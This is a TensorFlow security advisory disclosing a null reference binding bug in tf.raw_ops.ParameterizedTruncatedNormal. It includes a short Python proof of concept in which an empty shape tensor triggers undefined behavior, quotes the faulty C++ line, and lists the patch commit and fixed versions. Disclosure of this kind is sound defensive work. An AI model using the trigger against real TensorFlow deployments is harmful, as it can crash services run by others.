Reference binding to null in `ParameterizedTruncatedNormal`
### Impact
An attacker can trigger undefined behavior by binding to null pointer in `tf.raw_ops.ParameterizedTruncatedNormal`:
```python
import tensorflow as tf
shape = tf.constant([], shape=[0], dtype=tf.int32)
means = tf.constant((1), dtype=tf.float32)
stdevs = tf.constant((1), dtype=tf.float32)
minvals = tf.constant((1), dtype=tf.float32)
maxvals = tf.constant((1), dtype=tf.float32)
tf.raw_ops.ParameterizedTruncatedNormal(
shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals)
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/3f6fe4dfef6f57e768260b48166c27d148f3015f/tensorflow/core/kernels/parameterized_truncated_normal_op.cc#L630 does not validate input arguments before accessing the first element of `shape`:
```cc
int32 num_batches = shape_tensor.flat<int32>()(0);
```
If `shape` argument is empty, then `shape_tensor.flat<T>()` is an empty array.
### Patches
We have patched the issue in GitHub commit 5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8
https://github.com/tensorflow/tensorflow/commit/5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.